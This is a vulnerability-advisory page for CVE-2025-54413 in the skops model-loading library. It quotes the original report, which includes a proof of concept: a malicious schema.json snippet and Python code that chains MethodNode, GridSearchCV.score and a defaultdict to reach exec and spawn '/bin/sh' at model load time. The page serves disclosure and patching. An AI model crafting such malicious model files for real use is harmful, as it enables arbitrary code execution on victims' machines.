CVE-2025-54413: Skops Skops May Allow MethodNode To Vulnerability

HIGH
Advisory Identifier: GHSA-4v6w-xpmh-gfgp
CWE-351
Published
Advisory Summary

CVE-2025-54413 is a HIGH skops may allow methodnode to vulnerability (CWE-351: Insufficient Type Distinction) affecting Skops libraries in the PyPI ecosystem. The issue involves skops may allow methodnode to access unexpected object fields through dot notation, leading to arbitrary code execution at load time. Remediation is available by upgrading affected packages to version 0.12.0.

CVE-2025-54413 at a Glance

CVE Identifier CVE-2025-54413
GHSA Identifier GHSA-4v6w-xpmh-gfgp
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-351: Insufficient Type Distinction
Affected Product Skops
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-54413

To remediate this vulnerability, upgrade all affected Skops dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

skops fixed: 0.12.0
pip install skops>=0.12.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show skops

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-54413, inspect your installed packages using pip:

pip show skops

Analyze the terminal output to locate any version of Skops in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.12.0), your application is affected.

Note: The pip show skops command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-351: Insufficient Type Distinction, where the product does not properly distinguish between different types of elements in a way that leads to insecure behavior. In Skops, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An inconsistency in `MethodNode` can be exploited to access unexpected object fields through dot notation. This can be used to achieve **arbitrary code execution at load time**. While this issue may seem similar to https://github.com/skops-dev/skops/security/advisories/GHSA-m7f4-hrc6-fwg3, it is actually more severe, as it relies on fewer assumptions about trusted types. ## Details The `MethodNode` allows access to attributes of existing objects via dot notation. However, there are several critical shortcomings: * Although the `__class__` and `__module__` fields are checked via `get_untrusted_types` and during the `load` phase (as a concatenated string), **they are not actually used by `MethodNode`**. Instead, the `func` and `obj` entries in the `schema.json` are used to determine behavior. This means that even an apparently harmless `__module__.__class__` pair can lead to access of arbitrary attributes or methods of loaded objects, without any additional checks. * **Nothing prevents an attacker from chaining multiple `MethodNode` instances** to traverse the object hierarchy and access harmful attributes. An object can be loaded using the `ObjectNode`, which normally enforces strict checks and allows only trusted or explicitly permitted objects. However, once the object is loaded, dot notation can be used to access any of its attributes or methods. Furthermore, by chaining multiple `MethodNode`s, one can traverse the Python object hierarchy and reach dangerous components such as the `builtins` dictionary—which contains functions like `exec` and `eval`. This vulnerability allows the attacker to **bypass both `get_untrusted_types` and `load` checks**, enabling access to dangerous attributes and methods without triggering any alerts. As demonstrated in the PoC, arbitrary code execution is possible using just an anonymous object returned by `get_untrusted_types` (in the example, `builtins.int`, though any type would suffice since it doesn't influence the exploit). For example, consider a malicious `schema.json` snippet like: ```json ... "__class__": "int", "__module__": "builtins", "__loader__": "MethodNode", "content": { "obj": { "__class__": "int", "__module__": "builtins", "__loader__": "MethodNode", "content": { "obj": { "__class__": "QuadraticDiscriminantAnalysis", "__module__": "sklearn.discriminant_analysis", "__loader__": "ObjectNode", "__id__": 1 }, "func": "decision_function" } }, "func": "__builtins__" } ... ``` Here, the attacker loads a trusted `QuadraticDiscriminantAnalysis` object using `ObjectNode`, accesses its `decision_function` method via `MethodNode`, and then uses another `MethodNode` to access the `__builtins__` dictionary—**all without triggering the untrusted type detection mechanisms**. ## Proof of Concept (PoC) The provided PoC demonstrates arbitrary code execution using only `builtins.int` as the type returned by `get_untrusted_types` and verified by `load`. Note that the actual type is fully controlled by the attacker and can be anything (e.g., `provola.whatever`), as it's not used by `skops` or the exploit. ### Components Used in the Exploit To craft the exploit, the following `skops` nodes are used: * **`MethodNode`** – to silently access arbitrary Python attributes via dot notation. This is the vulnerable core. * **`ObjectNode`** – to load a trusted object and use it as a base to access its attributes and methods. Also used to set object state via `__setstate__`. * **`PartialNode`** – to easily control arguments passed to functions accessed. * **`DefaultDictNode`** – to store a crafted call to `exec` using the `default_factory` attribute. * **`DictNode`** – to trigger the call at load time. * **`JsonNode`, `TypeNode`, `ListNode`**, etc. – for basic types, structures, and constants. Additionally, the interesting implementation of `GridSearchCV.score` was leveraged, specifically: ```python def score(self, X, y=None, **params): ... scorer = self.scorer_[self.refit] return scorer(self.best_estimator_, X, y, **score_params) ``` ### Exploit Logic (Python Equivalent) The `schema.json` used in this exploit is quite complex and carefully constructed. For this reason, the exploit logic is illustrated using the following Python code, which presents the core idea in a simplified and readable format. It simulates how the malicious `schema.json` is interpreted and executed by `skops` during model loading. The complete malicious `skops` model is attached for reference. This code demonstrates how an attacker can manipulate trusted objects and attributes using `MethodNode`, ultimately gaining access to the `__builtins__` dictionary and invoking `exec` with a controlled payload. By chaining multiple nodes and leveraging Python's object model, arbitrary code execution is achieved—without triggering any type validation mechanisms. ```python from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis from sklearn.model_selection._search import GridSearchCV from functools import partial from collections import defaultdict # Step 1: Access builtins via dot traversal a = QuadraticDiscriminantAnalysis().decision_function.__builtins__ # Step 2: Prepare GridSearchCV with overridden attributes b = GridSearchCV() b._sklearn_version = "1.7.0" ... # Less interesting attributes b.scorer_ = a # builtins dict b.refit = "exec" b.best_estimator_ = "import os; os.system('/bin/sh')" # Step 3: Create callable chain c = b.score d = partial(c, {}, {}) # empty dicts as globals/locals e = defaultdict(**{}) e.default_factory = d f = e.__getitem__ # dot traversal again :) # Step 4: Force __getitem__ with a missing key to trigger default_factory ``` What we can see here is that, when `f` is called, it invokes the `__getitem__` method of a `defaultdict`. Since the requested key doesn’t exist (the dict is empty), `default_factory` is triggered — which is the partial function `d`, wrapping the `score` method of the loaded `GridSearchCV` object. Critically, the attributes of the `GridSearchCV` object (`scorer_`, `refit`, and `best_estimator_`) have been overwritten so that: * `scorer_` is the `__builtins__` dictionary, * `refit` is set to `"exec"` — selecting the `exec` function from `__builtins__`, * `best_estimator_` contains the malicious payload: `"import os; os.system('/bin/sh')"`. When `score()` is eventually called via the partial function, it resolves `self.scorer_[self.refit]` to `exec`, and then calls it as: ```python exec(self.best_estimator_, {}, {}) ``` In other words: ```python exec("import os; os.system('/bin/sh')", {}, {}) ``` This leads to **arbitrary command execution**. Finally, to trigger this chain, it's sufficient to force a call to `f` (i.e., `__getitem__`) with a key that doesn’t exist. This can be done automatically at model load time using `DictNode`. We use the implementation of `DictNode._construct()`: ```python def _construct(self): content = gettype(self.module_name, self.class_name)() key_types = self.children["key_types"].construct() for k_type, (key, val) in zip(key_types, self.children["content"].items()): content[k_type(key)] = val.construct() return content ``` By setting `key_types = [f]` and using a missing key, the exploit executes automatically during model loading. ### What is shown when loading the model Suppose a user loads the model with the following code: ```python from skops.io import load, get_untrusted_types unknown_types = get_untrusted_types(file="model.skops") print("Unknown types", unknown_types) input("Press enter to load the model...") loaded = load("model.skops", trusted=unknown_types) ``` The output will be: ``` Unkonown types ['builtins.int'] Press enter to load the model... ``` However, the model loading will trigger the execution of the payload, which in this case is a shell command. The same can be modified to execute any arbitrary code. ### Attachments Tthe complete exploit is uploaded in the following drive location: https://drive.google.com/drive/folders/1bmVV18mnPbWy21hVYgf51yVJpf78vtB_?usp=sharing ## Impact An attacker can craft a malicious model file that, when loaded, executes **arbitrary code** on the victim’s machine. This occurs **at load time**, requiring no user interaction beyond loading the model. Given that `skops` is often used in collaborative environments and is designed with security in mind, this vulnerability poses a significant threat.

CVE-2025-54413 Affected Skops Versions

1 component(s)
Fixed Versions:
0.12.0
Product / Package Ecosystem Affected Versions Fixed Version
skops
PyPI
< 0.12.0
0.12.0

References

Frequently Asked Questions

What is CVE-2025-54413?
CVE-2025-54413 is a security vulnerability in Skops involving Skops may allow MethodNode to access unexpected object fields through dot notation, leading to arbitrary code execution at load time under CWE-351: Insufficient Type Distinction.
Which Skops versions are affected?
Affected versions include releases prior to 0.12.0 across affected packages: skops.
What version fixes CVE-2025-54413?
Upgrading to 0.12.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is skops affected?
Yes, skops is affected in releases prior to 0.12.0. Upgrade your dependency to 0.12.0 or later.
What CWE is associated with CVE-2025-54413?
CVE-2025-54413 is classified under CWE-351: Insufficient Type Distinction (The product does not properly distinguish between different types of elements in a way that leads to insecure behavior.).
How can I check PyPI dependencies for CVE-2025-54413?
Run the dependency tree command: 'pip show skops'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4v6w-xpmh-gfgp",
  "modified" : "2025-09-05T16:08:49Z",
  "published" : "2025-07-25T19:21:31Z",
  "aliases" : [ "CVE-2025-54413" ],
  "summary" : "Skops may allow MethodNode to access unexpected object fields through dot notation, leading to arbitrary code execution at load time",
  "details" : "## Summary\n\nAn inconsistency in `MethodNode` can be exploited to access unexpected object fields through dot notation. This can be used to achieve **arbitrary code execution at load time**.\n\nWhile this issue may seem similar to https://github.com/skops-dev/skops/security/advisories/GHSA-m7f4-hrc6-fwg3, it is actually more severe, as it relies on fewer assumptions about trusted types.\n\n\n## Details\n\nThe `MethodNode` allows access to attributes of existing objects via dot notation. However, there are several critical shortcomings:\n\n* Although the `__class__` and `__module__` fields are checked via `get_untrusted_types` and during the `load` phase (as a concatenated string), **they are not actually used by `MethodNode`**. Instead, the `func` and `obj` entries in the `schema.json` are used to determine behavior. This means that even an apparently harmless `__module__.__class__` pair can lead to access of arbitrary attributes or methods of loaded objects, without any additional checks.\n\n* **Nothing prevents an attacker from chaining multiple `MethodNode` instances** to traverse the object hierarchy and access harmful attributes.\n\nAn object can be loaded using the `ObjectNode`, which normally enforces strict checks and allows only trusted or explicitly permitted objects. However, once the object is loaded, dot notation can be used to access any of its attributes or methods. Furthermore, by chaining multiple `MethodNode`s, one can traverse the Python object hierarchy and reach dangerous components such as the `builtins` dictionary—which contains functions like `exec` and `eval`.\n\nThis vulnerability allows the attacker to **bypass both `get_untrusted_types` and `load` checks**, enabling access to dangerous attributes and methods without triggering any alerts. As demonstrated in the PoC, arbitrary code execution is possible using just an anonymous object returned by `get_untrusted_types` (in the example, `builtins.int`, though any type would suffice since it doesn't influence the exploit).\n\n\nFor example, consider a malicious `schema.json` snippet like:\n\n```json\n...\n\"__class__\": \"int\",\n\"__module__\": \"builtins\",\n\"__loader__\": \"MethodNode\",\n\"content\": {\n  \"obj\": {\n    \"__class__\": \"int\",\n    \"__module__\": \"builtins\",\n    \"__loader__\": \"MethodNode\",\n    \"content\": {\n      \"obj\": {\n        \"__class__\": \"QuadraticDiscriminantAnalysis\",\n        \"__module__\": \"sklearn.discriminant_analysis\",\n        \"__loader__\": \"ObjectNode\",\n        \"__id__\": 1\n      },\n      \"func\": \"decision_function\"\n    }\n  },\n  \"func\": \"__builtins__\"\n}\n...\n```\n\nHere, the attacker loads a trusted `QuadraticDiscriminantAnalysis` object using `ObjectNode`, accesses its `decision_function` method via `MethodNode`, and then uses another `MethodNode` to access the `__builtins__` dictionary—**all without triggering the untrusted type detection mechanisms**.\n\n\n## Proof of Concept (PoC)\n\nThe provided PoC demonstrates arbitrary code execution using only `builtins.int` as the type returned by `get_untrusted_types` and verified by `load`. Note that the actual type is fully controlled by the attacker and can be anything (e.g., `provola.whatever`), as it's not used by `skops` or the exploit.\n\n### Components Used in the Exploit\n\nTo craft the exploit, the following `skops` nodes are used:\n\n* **`MethodNode`** – to silently access arbitrary Python attributes via dot notation. This is the vulnerable core.\n* **`ObjectNode`** – to load a trusted object and use it as a base to access its attributes and methods. Also used to set object state via `__setstate__`.\n* **`PartialNode`** – to easily control arguments passed to functions accessed.\n* **`DefaultDictNode`** – to store a crafted call to `exec` using the `default_factory` attribute.\n* **`DictNode`** – to trigger the call at load time.\n* **`JsonNode`, `TypeNode`, `ListNode`**, etc. – for basic types, structures, and constants.\n\nAdditionally, the interesting implementation of `GridSearchCV.score` was leveraged, specifically:\n\n```python\ndef score(self, X, y=None, **params):\n    ...\n    scorer = self.scorer_[self.refit]\n    return scorer(self.best_estimator_, X, y, **score_params)\n```\n\n\n### Exploit Logic (Python Equivalent)\nThe `schema.json` used in this exploit is quite complex and carefully constructed. For this reason, the exploit logic is illustrated using the following Python code, which presents the core idea in a simplified and readable format. It simulates how the malicious `schema.json` is interpreted and executed by `skops` during model loading. The complete malicious `skops` model is attached for reference. This code demonstrates how an attacker can manipulate trusted objects and attributes using `MethodNode`, ultimately gaining access to the `__builtins__` dictionary and invoking `exec` with a controlled payload. By chaining multiple nodes and leveraging Python's object model, arbitrary code execution is achieved—without triggering any type validation mechanisms.\n\n\n```python\nfrom sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\nfrom sklearn.model_selection._search import GridSearchCV\nfrom functools import partial\nfrom collections import defaultdict\n\n# Step 1: Access builtins via dot traversal\na = QuadraticDiscriminantAnalysis().decision_function.__builtins__\n\n# Step 2: Prepare GridSearchCV with overridden attributes\nb = GridSearchCV()\nb._sklearn_version = \"1.7.0\"\n... # Less interesting attributes\nb.scorer_ = a  # builtins dict\nb.refit = \"exec\"\nb.best_estimator_ = \"import os; os.system('/bin/sh')\"\n\n# Step 3: Create callable chain\nc = b.score\nd = partial(c, {}, {})  # empty dicts as globals/locals\ne = defaultdict(**{})\ne.default_factory = d\nf = e.__getitem__  # dot traversal again :)\n\n# Step 4: Force __getitem__ with a missing key to trigger default_factory\n```\n\nWhat we can see here is that, when `f` is called, it invokes the `__getitem__` method of a `defaultdict`. Since the requested key doesn’t exist (the dict is empty), `default_factory` is triggered — which is the partial function `d`, wrapping the `score` method of the loaded `GridSearchCV` object.\n\nCritically, the attributes of the `GridSearchCV` object (`scorer_`, `refit`, and `best_estimator_`) have been overwritten so that:\n\n* `scorer_` is the `__builtins__` dictionary,\n* `refit` is set to `\"exec\"` — selecting the `exec` function from `__builtins__`,\n* `best_estimator_` contains the malicious payload: `\"import os; os.system('/bin/sh')\"`.\n\nWhen `score()` is eventually called via the partial function, it resolves `self.scorer_[self.refit]` to `exec`, and then calls it as:\n\n```python\nexec(self.best_estimator_, {}, {})\n```\n\nIn other words:\n\n```python\nexec(\"import os; os.system('/bin/sh')\", {}, {})\n```\n\nThis leads to **arbitrary command execution**.\n\nFinally, to trigger this chain, it's sufficient to force a call to `f` (i.e., `__getitem__`) with a key that doesn’t exist. This can be done automatically at model load time using `DictNode`. We use the implementation of `DictNode._construct()`:\n\n```python\ndef _construct(self):\n    content = gettype(self.module_name, self.class_name)()\n    key_types = self.children[\"key_types\"].construct()\n    for k_type, (key, val) in zip(key_types, self.children[\"content\"].items()):\n        content[k_type(key)] = val.construct()\n    return content\n```\n\nBy setting `key_types = [f]` and using a missing key, the exploit executes automatically during model loading.\n\n### What is shown when loading the model\n\nSuppose a user loads the model with the following code:\n\n```python\nfrom skops.io import load, get_untrusted_types\n\nunknown_types = get_untrusted_types(file=\"model.skops\")\nprint(\"Unknown types\", unknown_types)\ninput(\"Press enter to load the model...\")\nloaded = load(\"model.skops\", trusted=unknown_types)\n```\n\nThe output will be:\n\n```\nUnkonown types ['builtins.int']\nPress enter to load the model...\n```\n\nHowever, the model loading will trigger the execution of the payload, which in this case is a shell command. The same can be modified to execute any arbitrary code.\n\n\n### Attachments\nTthe complete exploit is uploaded in the following drive location: https://drive.google.com/drive/folders/1bmVV18mnPbWy21hVYgf51yVJpf78vtB_?usp=sharing\n\n\n## Impact\n\nAn attacker can craft a malicious model file that, when loaded, executes **arbitrary code** on the victim’s machine. This occurs **at load time**, requiring no user interaction beyond loading the model. Given that `skops` is often used in collaborative environments and is designed with security in mind, this vulnerability poses a significant threat.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "skops"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.12.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/skops-dev/skops/security/advisories/GHSA-4v6w-xpmh-gfgp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/skops-dev/skops/security/advisories/GHSA-m7f4-hrc6-fwg3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54413"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/skops-dev/skops/commit/0aeca055509dfb48c1506870aabdd9e247adf603"
  }, {
    "type" : "WEB",
    "url" : "https://drive.google.com/drive/folders/1bmVV18mnPbWy21hVYgf51yVJpf78vtB_?usp=sharing"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/io-no/CVE-Reports/tree/main/CVE-2025-54413"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/skops-dev/skops"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/skops-dev/skops/releases/tag/v0.12.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-351" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-25T19:21:31Z",
    "nvd_published_at" : "2025-07-26T04:16:06Z"
  }
}